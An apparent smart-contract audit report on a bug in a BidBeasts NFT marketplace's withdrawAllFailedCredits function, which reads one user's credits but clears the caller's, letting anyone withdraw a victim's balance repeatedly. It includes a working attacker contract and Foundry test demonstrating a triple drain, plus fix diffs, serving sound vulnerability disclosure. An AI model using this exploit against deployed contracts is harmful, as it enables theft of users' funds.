Critical Logic Errors in withdrawAllFailedCredits Enable Infinite Credit Theft
Description
-
The normal behavior should be that when a user withdraws their failed transfer credits, their own credit balance should be cleared to prevent double withdrawal.
-
The current implementation incorrectly clears msg.sender's credits while withdrawing credits belonging to _receiver, allowing attackers to drain contract balance.
function withdrawAllFailedCredits(address _receiver) external {
@> uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood: High
-
Any user can call this function with any victim's address as _receiver
-
The victim's credits are never cleared, allowing unlimited re-exploitation
Impact: High
Proof of Concept
The PoC demonstrates how an attacker can infinitely drain the same victim's failed transfer credits because the victim's balance is never cleared, allowing unlimited re-exploitation.
Add the below import to BidBeastsMarketPlaceTest.t.sol:
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
Add AttackContract contract in BidBeastsMarketPlaceTest.t.sol:
contract AttackContract is IERC721Receiver {
BidBeastsNFTMarket market;
BidBeasts nft;
constructor(address marketAddress, address nftAddress) {
market = BidBeastsNFTMarket(marketAddress);
nft = BidBeasts(nftAddress);
}
function listNFTOnMarketplace(uint256 tokenId, uint256 minPrice, uint256 buyNowPrice) external {
nft.approve(address(market), tokenId);
market.listNFT(tokenId, minPrice, buyNowPrice);
}
function withdrawFailedCredits() external {
market.withdrawAllFailedCredits(address(this));
}
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
Change
Add the test below to the BidBeastsMarketPlaceTest.t.sol:
function testDrainContractUsingFailedCredits() public {
address ATTACKER = makeAddr("Attacker");
AttackContract atkContract = new AttackContract(address(market), address(nft));
vm.deal(address(market), 100 ether);
vm.prank(OWNER);
nft.mint(address(atkContract));
atkContract.listNFTOnMarketplace(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
uint256 BID_AMOUNT = BUY_NOW_PRICE + 1;
vm.prank(BIDDER_1);
market.placeBid{value: BID_AMOUNT}(TOKEN_ID);
uint256 failedCredits = market.failedTransferCredits(address(atkContract));
assertTrue(failedCredits > 0, "Seller should have failed credits");
uint256 attackerInitialBalance = ATTACKER.balance;
vm.startPrank(ATTACKER);
market.withdrawAllFailedCredits(address(atkContract));
market.withdrawAllFailedCredits(address(atkContract));
market.withdrawAllFailedCredits(address(atkContract));
vm.stopPrank();
uint256 attackerFinalBalance = ATTACKER.balance;
uint256 stolenAmount = attackerFinalBalance - attackerInitialBalance;
assertEq(stolenAmount, failedCredits * 3, "Attacker should have stolen credits 3 times");
assertEq(market.failedTransferCredits(address(atkContract)), failedCredits, "Victim credits never cleared");
}
Run the test with:
forge test --match-test testDrainContractUsingFailedCredits -vvv
Recommended Mitigation
There are two valid approaches to fix this vulnerability:
Option 1: Remove the _receiver parameter (Simplest)
- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Option 2: Allow withdrawal to different address but fix the logic
function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
- (bool success,) = payable(msg.sender).call{value: amount}("");
+ (bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
